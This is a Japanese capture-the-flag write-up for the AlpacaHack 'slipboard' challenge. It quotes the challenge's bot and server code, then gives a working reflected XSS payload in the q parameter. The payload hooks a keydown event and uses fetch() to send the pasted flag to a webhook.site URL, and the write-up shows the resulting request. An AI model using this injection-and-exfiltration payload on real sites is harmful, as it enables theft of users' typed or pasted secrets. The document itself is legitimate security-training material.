https://alpacahack.com/daily/challenges/slipboard
bot.js を見ると
// Copy the credentials into the clipboard.
await page.type("#draft", FLAG);
await page.keyboard.down("Control");
await page.keyboard.press("A");
await page.keyboard.press("C");
// 中略 ...
await page.focus("#input");
await page.keyboard.down("Control");
await page.keyboard.press("V"); // Oops, no, I've accidentally pasted that!
await page.keyboard.up("Control");
await page.keyboard.down("Control");
await page.keyboard.press("A");
await page.keyboard.up("Control");
await page.keyboard.press("Backspace"); // ... but deleted it immediately ;-)
とのことなので、#input にフラグをペーストしたあとすぐに削除する仕組みである。消される前に flag を取得する必要がある。
ところで、index.js は
const html = `
<!DOCTYPE html>
<html>
<body>
<form action="/submit" method="post">
<input id="input" name="name" type="text">
<input id="submit" type="submit" value="OK">
</form>
{{ yours }}
</body>
</html>
`;
app.get("/", async (req, res) => {
const page = html.replace('{{ yours }}', req.query.q || '');
res.send(page);
});
とあるので #input 要素があるのと、 yours には URLパラメータの q を使えばなんでも入れられそうである。
したがって、flag を取得するために q をいじる必要がある。
q には <script> も入れ込むことができるので任意のコードを実行できる。
#input 要素の値が変化したときにこの値を外部に送信すればよいが、change イベントはなぜか動作しなかった。
代わりに Ctrl + V を押したときに発火する keydown イベントを使うことで、キーが押されたときに webhook.site のクエリに e.target.value (イベントの発火元 #input 要素の値) を入れ込むことにする。
http://[URL:PORT]/?q=%3Cscript%3Edocument.getElementById(%22input%22).addEventListener(%22keydown%22,%20(e)%20=%3E%20%7Bfetch(%60https://webhook.site/[YOUR_UUID_HERE]?q=$%7Be.target.value%7D%60)%7D)%3C/script%3E
最初に送られてくるリクエストにflagが存在する。
curl -X 'GET' '<https://webhook.site/[YOUR_UUID_HERE]?q=Alpaca{REDACTED}>' -H 'priority: u=1, i' -H 'accept-language: en-US,en;q=0.9' -H 'accept-encoding: gzip, deflate, br, zstd' -H 'referer: <http://web:3000/>' -H 'sec-fetch-dest: empty' -H 'sec-fetch-mode: cors' -H 'sec-fetch-site: cross-site' -H 'origin: <http://web:3000>' -H 'accept: */*' -H 'sec-ch-ua-mobile: ?0' -H 'sec-ch-ua: "Not/A)Brand";v="99", "Chromium";v="148"' -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36' -H 'sec-ch-ua-platform: "Linux"' -H 'host: webhook.site'
ちなみに、非同期的にリクエストが送られる都合上、その後の通信を見ると hello :) の一部や空文字列、flagが何度か送信される。